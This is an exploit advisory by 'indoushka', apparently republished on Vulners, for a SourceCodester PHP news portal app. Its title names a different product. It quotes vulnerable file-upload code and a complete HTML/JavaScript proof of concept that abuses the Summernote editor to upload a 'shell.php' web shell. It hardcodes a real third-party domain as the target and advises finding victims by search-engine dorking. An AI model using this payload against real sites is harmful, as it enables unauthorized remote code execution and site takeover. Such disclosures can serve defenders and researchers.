`=============================================================================================================================================
| # Title : Event Registration and Attendance System 1.0 wysiwyg code injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) |
| # Vendor : https://www.sourcecodester.com/sites/default/files/download/oretnom23/online-news-portal.zip |
=============================================================================================================================================
poc :
[+] Dorking İn Google Or Other Search Enggine.
[+] infected item : admin_class.php
$data .= ", content = '".htmlentities(str_replace("'","’",$content))."' ";
if(!empty($_FILES['cover']['tmp_name'])){
$fname = strtotime(date("Y-m-d H:i"))."_".(str_replace(" ","-",$_FILES['cover']['name']));
$move = move_uploaded_file($_FILES['cover']['tmp_name'],'../assets/uploads/content_images/'. $fname);
$protocol = strtolower(substr($_SERVER["SERVER_PROTOCOL"],0,5))=='https'?'https':'http';
$hostName = $_SERVER['HTTP_HOST'];
$path =explode('/',$_SERVER['PHP_SELF']);
$currentPath = '/'.$path[1];
if($move){
$data .= ", cover_img='$fname' ";
}
}
[+] Line 27 : Set your target url.
[+] This payload is WYSIWYG based The page can be edited remotely and a malicious executable file can be uploaded ,via summernote is a WYSIWYG editor V: 0.8.18.
[+] save payload as poc.html
[+] payload :
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Manage About Page</title>
<!-- Include Summernote CSS and jQuery -->
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
<link href="https://cdnjs.cloudflare.com/ajax/libs/summernote/0.8.18/summernote-bs4.min.css" rel="stylesheet">
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.bundle.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/summernote/0.8.18/summernote-bs4.min.js"></script>
</head>
<body>
<div class="container mt-5">
<div class="col-lg-12">
<div class="card card-outline card-primary">
<div class="card-body">
<form action="" id="manage-about">
<div class="form-group">
<textarea name="content" id="content" cols="30" rows="10" class="summernote2 form-control">
<p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; color: rgb(0, 0, 0); font-family: 'Open Sans', Arial, sans-serif; font-size: 14px;">indoushka.</p>
</textarea>
</div>
</form>
</div>
<div class="card-footer border-top border-info">
<div class="d-flex w-100 justify-content-center align-items-center">
<button class="btn btn-flat bg-gradient-primary mx-2" form="manage-about">Save</button>
</div>
</div>
</div>
</div>
</div>
<script>
$(document).ready(function(){
// Initialize Summernote Editor
$('.summernote2').summernote({
height: 300,
toolbar: [
['style', ['style']],
['font', ['bold', 'italic', 'underline', 'strikethrough', 'superscript', 'subscript', 'clear']],
['fontname', ['fontname']],
['fontsize', ['fontsize']],
['color', ['color']],
['para', ['ol', 'ul', 'paragraph', 'height']],
['table', ['table']],
['insert', ['link', 'picture']],
['view', ['undo', 'redo', 'fullscreen', 'codeview', 'help']]
],
callbacks: {
onImageUpload: function(files) {
saveImg(files[0]); // Handle image upload
}
}
});
// Function to save uploaded image
function saveImg(_file) {
var data = new FormData();
data.append("file", _file);
$.ajax({
data: data,
type: "POST",
url: "http://www.news.witnessradio.org/admin/ajax.php?action=save_image",
cache: false,
contentType: false,
processData: false,
success: function(resp) {
var image = $('<img>').attr('src', resp);
$('.summernote2').summernote("insertNode", image[0]);
}
});
}
});
// Form Submission
$('#manage-about').submit(function(e) {
e.preventDefault();
start_load(); // Start a loading indicator (you need to define this function)
$.ajax({
url: 'http://www.news.witnessradio.org/admin/ajax.php?action=save_about',
data: new FormData($(this)[0]),
cache: false,
contentType: false,
processData: false,
method: 'POST',
type: 'POST',
success: function(resp) {
if(resp == 1) {
alert_toast('Data successfully saved', "success");
end_load(); // End the loading indicator (you need to define this function)
}
}
});
});
// Optional: Define start_load and end_load functions
function start_load() {
// Add your loading indicator logic here
}
function end_load() {
// Remove your loading indicator logic here
}
function alert_toast(message, type) {
alert(message); // Basic alert. Replace with a better toast notification if needed.
}
</script>
</body>
</html>
[+] path of evil : http://127.0.0.1/news_portal/assets/uploads/content_images/shell.php
Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation